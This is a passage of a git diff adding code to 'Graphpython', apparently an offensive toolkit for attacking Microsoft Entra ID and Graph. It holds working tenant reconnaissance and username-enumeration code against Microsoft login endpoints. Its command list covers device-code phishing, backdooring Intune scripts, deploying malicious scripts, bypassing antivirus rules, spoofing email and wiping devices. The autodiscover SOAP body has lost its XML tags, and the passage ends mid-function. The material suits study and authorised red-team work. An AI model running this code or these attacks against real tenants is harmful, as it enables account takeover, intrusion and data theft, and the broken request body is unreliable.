+ script_dir = os.path.dirname(os.path.abspath(__file__))
+ file_path = os.path.join(script_dir, 'directoryroles.txt')
+
+ try:
+ with open(file_path, 'r', encoding='utf-8') as file:
+ content = file.read()
+ except FileNotFoundError:
+ print_red(f"[-] The file {file_path} does not exist.")
+ print("=" * 80)
+ return
+ except Exception as e:
+ print_red(f"[-] An error occurred while reading the file: {e}")
+ print("=" * 80)
+ return
+
+ roles = parse_html(content)
+ found_role = False
+
+ for role in roles:
+ if identifier in role['name'].lower() or identifier == role['template_id'].lower():
+ print_role(role)
+ found_role = True
+
+ if not found_role:
+ print_red("[-] Directory role ID or name not found")
+
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/commands/outsider.py b/Graphpython/commands/outsider.py
new file mode 100644
index 0000000..eb228c0
--- /dev/null
+++ b/Graphpython/commands/outsider.py
@@ -0,0 +1,255 @@
+import requests
+from tqdm import tqdm
+import dns.resolver
+import os
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+from Graphpython.utils.helpers import get_tenant_domains
+
+############
+# Outsider #
+############
+
+def invoke_reconasoutsider(args):
+ if not args.domain:
+ print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command")
+ return
+
+ print_yellow("[*] Invoke-ReconAsOutsider")
+ print("=" * 80)
+ domain = args.domain
+ # get tenant id
+ tenant_id = ""
+ try:
+ response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration")
+ if response.status_code == 200:
+ tenant_id = response.json().get('token_endpoint', '').split('/')[3]
+ except:
+ print_red("[-] Failed to retrieve tenant ID")
+ if not tenant_id:
+ print_red(f"[-] Domain {domain} is not registered to Azure AD")
+ print("=" * 80)
+ return
+ tenant_name = ""
+ tenant_brand = ""
+ tenant_region = ""
+ tenant_sso = ""
+ # tenant info
+ try:
+ response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration")
+ if response.status_code == 200:
+ data = response.json()
+ tenant_region = data.get('tenant_region_scope', "Unknown")
+ except:
+ print_red("[-] Failed to retrieve tenant info")
+
+ additional_domains = get_tenant_domains(domain)
+ additional_domains_count = len(additional_domains)
+ print(f"Domains: {additional_domains_count}")
+ domain_information = []
+ # show progress bar
+ custom_bar = '╢{bar:50}╟'
+ for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'):
+ if domain.lower().endswith('.onmicrosoft.com') and not tenant_name:
+ tenant_name = domain
+ # desktop sso
+ if not tenant_sso:
+ try:
+ url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}"
+ response = requests.get(url)
+ tenant_sso = response.status_code == 401
+ except:
+ pass
+ # DNS checks
+ exists = False
+ has_cloud_mx = False
+ has_cloud_spf = False
+ has_dmarc = False
+ has_cloud_dkim = False
+ has_cloud_mta_sts = False
+ try:
+ dns.resolver.resolve(domain)
+ exists = True
+ except:
+ pass
+ if exists:
+ try:
+ mx_records = dns.resolver.resolve(domain, 'MX')
+ has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records)
+ except:
+ pass
+ try:
+ txt_records = dns.resolver.resolve(domain, 'TXT')
+ has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records)
+ except:
+ pass
+ try:
+ dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT')
+ has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records)
+ except:
+ pass
+ try:
+ selectors = ["selector1", "selector2"]
+ for selector in selectors:
+ dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME')
+ has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records)
+ if has_cloud_dkim:
+ break
+ except:
+ pass
+ try:
+ url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt"
+ mta_sts_response = requests.get(url)
+ if mta_sts_response.status_code == 200:
+ mta_sts_content = mta_sts_response.text
+ mta_sts_lines = mta_sts_content.split("\n")
+ has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines)
+ except:
+ pass
+ # federation info
+ user_realm = {}
+ try:
+ username = f"nn@{domain}"
+ response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}")
+ if response.status_code == 200:
+ user_realm = response.json()
+ except:
+ print_red("[-] Failed to retrieve user realm information") # pass
+
+ if not tenant_brand:
+ tenant_brand = user_realm.get("FederationBrandName", "")
+
+ auth_url = user_realm.get("AuthURL")
+
+ if auth_url:
+ auth_url = auth_url.split('?')[0]
+
+ domain_info = {
+ "Name": domain,
+ "DNS": exists,
+ "MX": has_cloud_mx,
+ "SPF": has_cloud_spf,
+ "DMARC": has_dmarc,
+ "DKIM": has_cloud_dkim,
+ "MTA-STS": has_cloud_mta_sts,
+ "Type": user_realm.get("NameSpaceType", "Unknown"),
+ "STS": auth_url
+ }
+
+ domain_information.append(domain_info)
+
+ print(f"Tenant brand: {tenant_brand}")
+ print(f"Tenant name: {tenant_name}")
+ print(f"Tenant id: {tenant_id}")
+ print(f"Tenant region: {tenant_region}")
+
+ if tenant_sso is not None:
+ print(f"DesktopSSO enabled: {tenant_sso}")
+ if tenant_name:
+ # check MDI instance
+ tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name
+ mdi_domains = [
+ f"{tenant}.atp.azure.com",
+ f"{tenant}-onmicrosoft-com.atp.azure.com"
+ ]
+ tenant_mdi = None
+ for mdi_domain in mdi_domains:
+ try:
+ dns.resolver.resolve(mdi_domain)
+ tenant_mdi = mdi_domain
+ break
+ except dns.resolver.NXDOMAIN:
+ continue
+ except Exception as e:
+ print(f"An error occurred while resolving {mdi_domain}: {str(e)}")
+ if tenant_mdi:
+ print(f"MDI instance: {tenant_mdi}")
+ else:
+ print("MDI instance: Not found")
+
+ # check cloud sync
+ if tenant_name:
+ sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}"
+ exists = None
+ try:
+ url = "https://login.microsoftonline.com/common/GetCredentialType"
+ data = {
+ "username": sync_service_account,
+ "isOtherIdpSupported": True,
+ "checkPhones": False,
+ "isRemoteNGCSupported": True,
+ "isCookieBannerShown": False,
+ "isFidoSupported": True,
+ "originalRequest": "",
+ "country": "US",
+ "forceotclogin": False,
+ "isExternalFederationDisallowed": False,
+ "isRemoteConnectSupported": False,
+ "federationFlags": 0,
+ "isSignup": False,
+ "flowToken": "",
+ "isAccessPassSupported": True
+ }
+ response = requests.post(url, json=data)
+ if response.status_code == 200:
+ result = response.json()
+ exists = result.get('IfExistsResult', 0) == 0
+ except:
+ pass
+
+ uses_cloud_sync = exists
+ print(f"Uses cloud sync: {uses_cloud_sync}")
+
+ print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS")
+ print("---- --- --- ---- ----- ---- ------- ---- ---")
+ for domain_info in domain_information:
+ print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}")
+ print("=" * 80)
+
+
+def invoke_userenumerationasoutsider(args):
+ if not args.username:
+ print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command")
+ return
+
+ print_yellow("[*] Invoke-UserEnumerationAsOutsider")
+ print("=" * 80)
+ usernames = []
+ if os.path.isfile(args.username):
+ with open(args.username, 'r') as file:
+ usernames = [line.strip() for line in file if line.strip()]
+ else:
+ usernames = [args.username]
+
+ for username in usernames:
+ exists = None
+ try:
+ url = "https://login.microsoftonline.com/common/GetCredentialType"
+ data = {
+ "username": username,
+ "isOtherIdpSupported": True,
+ "checkPhones": False,
+ "isRemoteNGCSupported": True,
+ "isCookieBannerShown": False,
+ "isFidoSupported": True,
+ "originalRequest": "",
+ "country": "US",
+ "forceotclogin": False,
+ "isExternalFederationDisallowed": False,
+ "isRemoteConnectSupported": False,
+ "federationFlags": 0,
+ "isSignup": False,
+ "flowToken": "",
+ "isAccessPassSupported": True
+ }
+ response = requests.post(url, json=data)
+ if response.status_code == 200:
+ result = response.json()
+ exists = result.get('IfExistsResult', 0) == 0
+ except:
+ pass
+
+ if exists:
+ print_green(f"[+] {username:<16}")# : {exists}")
+ else:
+ print_red(f"[-] {username:<16}")# : {exists}")
+ print("=" * 80)
\ No newline at end of file
diff --git a/Graphpython/utils/__init__.py b/Graphpython/utils/__init__.py
new file mode 100644
index 0000000..1321f68
--- /dev/null
+++ b/Graphpython/utils/__init__.py
@@ -0,0 +1 @@
+# chama
\ No newline at end of file
diff --git a/Graphpython/utils/helpers.py b/Graphpython/utils/helpers.py
new file mode 100644
index 0000000..6096eb0
--- /dev/null
+++ b/Graphpython/utils/helpers.py
@@ -0,0 +1,607 @@
+import requests
+import json
+import os
+import re
+import base64
+from tabulate import tabulate
+from datetime import datetime, timedelta
+import uuid
+import xml.etree.ElementTree as ET
+from termcolor import colored
+
+def print_yellow(message):
+ print(f"\033[93m{message}\033[0m")
+
+def print_green(message):
+ print(f"\033[92m{message}\033[0m")
+
+def print_red(message):
+ print(f"\033[91m{message}\033[0m")
+
+def list_commands():
+ outsider_commands = [
+ ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"],
+ ["Invoke-UserEnumerationAsOutsider", "Checks whether the user exists within Azure AD"]
+ ]
+
+ auth_commands = [
+ ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"],
+ ["Get-TenantID", "Get tenant ID for target domain"],
+ ["Get-TokenScope", "Get scope of supplied token"],
+ ["Decode-AccessToken", "Get all token payload attributes"],
+ ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"],
+ ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"],
+ ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"],
+ ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"],
+ ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"],
+ ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"],
+ ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"],
+ ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"],
+ ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"],
+ ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"],
+ ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"],
+ ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"],
+ ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"],
+ ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"],
+ ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"],
+ ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"]
+ ]
+
+ post_authenum_commands = [
+ ["Get-CurrentUser", "Get current user profile"],
+ ["Get-CurrentUserActivities", "Get recent activity and actions of current user"],
+ ["Get-OrgInfo", "Get information relating to the target organisation"],
+ ["Get-Domains", "Get domain objects"],
+ ["Get-User", "Get all users (default) or target user (--id)"],
+ ["Get-UserProperties", "Get current user properties (default) or target user (--id)"],
+ ["Get-UserPrivileges", "Get group/AU memberships and directory roles assigned for current user (default) or target user (--id)"],
+ ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"],
+ ["Get-Group", "Get all groups (default) or target group (-id)"],
+ ["Get-GroupMember", "Get all members of target group"],
+ ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"],
+ ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"],
+ ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"],
+ ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"],
+ ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"],
+ ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"],
+ ["Get-PersonalContacts", "Get contacts of the current user"],
+ ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"],
+ ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"],
+ ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"],
+ ["Get-AdministrativeUnitMember", "Get members of administrative unit"],
+ ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"],
+ ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"],
+ ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"],
+ ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"],
+ ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"],
+ ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"],
+ ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"],
+ ["List-DirectoryRoles", "List all directory roles activated in the tenant"],
+ ["List-Notebooks", "List current user notebooks (default) or target user (--id)"],
+ ["List-ConditionalAccessPolicies", "List conditional access policy objects"],
+ ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"],
+ ["List-ConditionalNamedLocations", "List conditional access named locations"],
+ ["List-SharePointRoot", "List root SharePoint site properties"],
+ ["List-SharePointSites", "List any available SharePoint sites"],
+ ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"],
+ ["List-ExternalConnections", "List external connections"],
+ ["List-Applications", "List all Azure Applications"],
+ ["List-ServicePrincipals", "List all service principals"],
+ ["List-Tenants", "List tenants"],
+ ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"],
+ ["List-Chats", "List chats for current user (default) or target user (--id)"],
+ ["List-ChatMessages", "List messages in target chat (--id)"],
+ ["List-Devices", "List devices"],
+ ["List-AdministrativeUnits", "List administrative units"],
+ ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"],
+ ["List-RecentOneDriveFiles", "List current user recent OneDrive files"],
+ ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"],
+ ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"]
+ ]
+
+ post_authexploit_commands = [
+ ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"],
+ ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"],
+ ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"],
+ ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"],
+ ["Find-UpdatableGroups", "Find groups which can be updated by the current user"],
+ ["Find-SecurityGroups", "Find security groups and group members"],
+ ["Find-DynamicGroups", "Find groups with dynamic membership rules"],
+ ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"],
+ ["Update-UserProperties", "Update the user properties of the target user"],
+ ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"],
+ ["Add-GroupMember", "Add member to target group"],
+ ["Add-ApplicationPassword", "Add client secret to target application"],
+ ["Add-ApplicationCertificate", "Add client certificate to target application"],
+ ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"],
+ ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"],
+ ["Create-Application", "Create new enterprise application with default settings"],
+ ["Create-NewUser", "Create new Entra ID user"],
+ ["Invite-GuestUser", "Invite guest user to Entra ID"],
+ ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"],
+ ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"],
+ ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"],
+ ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"]
+ ]
+
+ intune_enum = [
+ ["Get-ManagedDevices", "Get managed devices"],
+ ["Get-UserDevices", "Get user devices"],
+ ["Get-CAPs", "Get conditional access policies"],
+ ["Get-DeviceCategories", "Get device categories"],
+ ["Get-DeviceComplianceSummary", "Get device compliance summary"],
+ ["Get-DeviceConfigurations", "Get device configurations"],
+ ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"],
+ ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"],
+ ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"],
+ ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"],
+ ["Get-RoleDefinitions", "Get role definitions"],
+ ["Get-RoleAssignments", "Get role assignments"],
+ ["Get-DeviceCompliancePolicies", "Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.)"],
+ ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.)"]
+ ]
+
+ intune_exploit = [
+ ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"],
+ ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"],
+ ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"],
+ ["Dump-macOSApps", "Dump managed macOS applications"],
+ ["Dump-AndroidApps", "Dump managed Android mobile applications"],
+ ["Get-ScriptContent", "Get device management script content"],
+ ["Backdoor-Script", "Add malicious code to pre-existing device management script"],
+ ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"],
+ ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"],
+ ["Display-AVPolicyRules", "Display antivirus policy rules"],
+ ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"],
+ ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"],
+ ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"],
+ ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"],
+ ["Display-EDRPolicyRules", "Display EDR policy rules"],
+ ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"],
+ ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"],
+ ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"],
+ ["Reboot-Device", "Reboot managed device"],
+ ["Lock-Device", "Lock managed device"],
+ ["Shutdown-Device", "Shutdown managed device"],
+ ["Update-DeviceConfig", "Update properties of the managed device configuration"]
+ ]
+
+ cleanup_commands = [
+ ["Delete-User", "Delete a user"],
+ ["Delete-Group", "Delete a group"],
+ ["Remove-GroupMember", "Remove user from a group"],
+ ["Delete-Application", "Delete an application"],
+ ["Delete-Device", "Delete managed device"],
+ ["Wipe-Device", "Wipe managed device"],
+ ["Retire-Device", "Retire managed device"]
+ ]
+
+ locator_commands = [
+ ["Locate-ObjectID", "Locate object ID and display object properties"],
+ ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required) for ID or permission name"],
+ ["Locate-DirectoryRole", "Locate Entra directory role information for template ID or role name"]
+ ]
+
+ print("Outsider")
+ print("=" * 80)
+ print(tabulate(outsider_commands, tablefmt="plain"))
+
+ print("\nAuthentication")
+ print("=" * 80)
+ print(tabulate(auth_commands, tablefmt="plain"))
+
+ print("\nPost-Auth Enumeration")
+ print("=" * 80)
+ print(tabulate(post_authenum_commands, tablefmt="plain"))
+
+ print("\nPost-Auth Exploitation")
+ print("=" * 80)
+ print(tabulate(post_authexploit_commands, tablefmt="plain"))
+
+ print("\nPost-Auth Intune Enumeration")
+ print("=" * 80)
+ print(tabulate(intune_enum, tablefmt="plain"))
+
+ print("\nPost-Auth Intune Exploitation")
+ print("=" * 80)
+ print(tabulate(intune_exploit, tablefmt="plain"))
+
+ print("\nCleanup")
+ print("=" * 80)
+ print(tabulate(cleanup_commands, tablefmt="plain"))
+
+ print("\nLocators")
+ print("=" * 80)
+ print(tabulate(locator_commands, tablefmt="plain"))
+ print("\n")
+
+def forge_user_agent(device=None, browser=None):
+
+ user_agent = ''
+
+ if device == 'Mac':
+ if browser == 'Chrome':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
+ elif browser == 'Firefox':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0'
+ elif browser == 'Edge':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0'
+ elif browser == 'Safari':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
+ else:
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
+
+ elif device == 'Windows':
+ if browser == 'IE':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'
+ elif browser == 'Chrome':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
+ elif browser == 'Firefox':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0'
+ elif browser == 'Edge':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
+ else:
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
+
+ elif device == 'AndroidMobile':
+ if browser == 'Android':
+ user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
+ elif browser == 'Chrome':
+ user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36'
+ elif browser == 'Firefox':
+ user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0'
+ elif browser == 'Edge':
+ user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057'
+ else:
+ user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
+
+ elif device == 'iPhone':
+ if browser == 'Chrome':
+ user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1'
+ elif browser == 'Firefox':
+ user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4'
+ elif browser == 'Edge':
+ user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1'
+ elif browser == 'Safari':
+ user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1'
+ else:
+ user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1'
+
+ else:
+ if browser == 'Android':
+ user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30'
+ elif browser == 'IE':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko'
+ elif browser == 'Chrome':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'
+ elif browser == 'Firefox':
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0'
+ elif browser == 'Safari':
+ user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15'
+ else:
+ user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042'
+
+ return user_agent
+
+def get_user_agent(args):
+ if args.device:
+ if args.browser:
+ return forge_user_agent(device=args.device, browser=args.browser)
+ else:
+ return forge_user_agent(device=args.device)
+ else:
+ if args.browser:
+ return forge_user_agent(browser=args.browser)
+ else:
+ return forge_user_agent()
+
+def get_access_token(token_input):
+ if os.path.isfile(token_input):
+ encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1']
+ for encoding in encodings:
+ try:
+ with open(token_input, 'r', encoding=encoding) as file:
+ access_token = file.read().strip()
+ return access_token
+ except UnicodeDecodeError:
+ continue
+
+ raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.")
+ else:
+ access_token = token_input
+ return access_token
+
+def read_file_content(file_path):
+ try:
+ with open(file_path, 'r', encoding='utf-8') as file:
+ return file.read()
+ except UnicodeDecodeError:
+ with open(file_path, 'r', encoding='utf-16') as file:
+ return file.read()
+
+def format_list_style(data):
+ if not data.get('value'):
+ print_red("[-] No data found")
+ return
+
+ for d in data.get('value', []):
+ for key, value in d.items():
+ print(f"{key} : {value}")
+ print("\n")
+
+def read_and_encode_cert(cert_path):
+ try:
+ if not os.path.isfile(cert_path):
+ print_red(f"[-] The certificate file '{cert_path}' does not exist.")
+ return None
+ with open(cert_path, 'rb') as cert_file:
+ cert_data = cert_file.read()
+ # Base64 encode the binary data
+ encoded_cert = base64.b64encode(cert_data).decode('ascii')
+ return encoded_cert
+ except Exception as e:
+ print_red(f"[-] Error reading certificate: {str(e)}")
+ return None
+
+def highlight_search_term(text, search_term):
+ return text.replace(search_term, colored(search_term, 'green'))
+
+def graph_api_get(access_token, url, args):
+ try:
+ output_returned = False
+ while url:
+ user_agent = get_user_agent(args)
+ headers = {
+ "Authorization": f"Bearer {access_token}",
+ "User-Agent": user_agent
+ }
+ response = requests.get(url, headers=headers)
+ response.raise_for_status()
+ response_body = response.json()
+ filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")}
+
+ if filtered_data:
+ format_list_style(filtered_data)
+ output_returned = True
+
+ url = response_body.get("@odata.nextLink")
+
+ if not output_returned:
+ print_red("[-] No data found")
+
+ except requests.exceptions.RequestException as ex:
+ print_red(f"[-] HTTP Error: {ex}")
+
+def get_tenant_domains(domain):
+
+ domains = [domain]
+ try:
+ openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
+ response = requests.get(openid_config_url)
+ response.raise_for_status()
+ openid_config = response.json()
+ tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "")
+
+ if tenant_region_sub_scope == "DOD":
+ autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc"
+ elif tenant_region_sub_scope == "DODCON":
+ autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc"
+ else:
+ autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc"
+
+ autodiscover_body = f"""
+
+
+
+ http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation
+ {autodiscover_url}
+
+ http://www.w3.org/2005/08/addressing/anonymous
+
+
+
+
+
+ {domain}
+
+
+
+
+ """.strip()
+
+ headers = {
+ "Content-Type": "text/xml; charset=utf-8",
+ "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"',
+ "User-Agent": "AutodiscoverClient"
+ }
+
+ autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers)
+ autodiscover_response.raise_for_status()
+ autodiscover_xml = autodiscover_response.content
+ tree = ET.ElementTree(ET.fromstring(autodiscover_xml))
+ namespaces = {
+ 's': 'http://schemas.xmlsoap.org/soap/envelope/',
+ 'a': 'http://www.w3.org/2005/08/addressing',
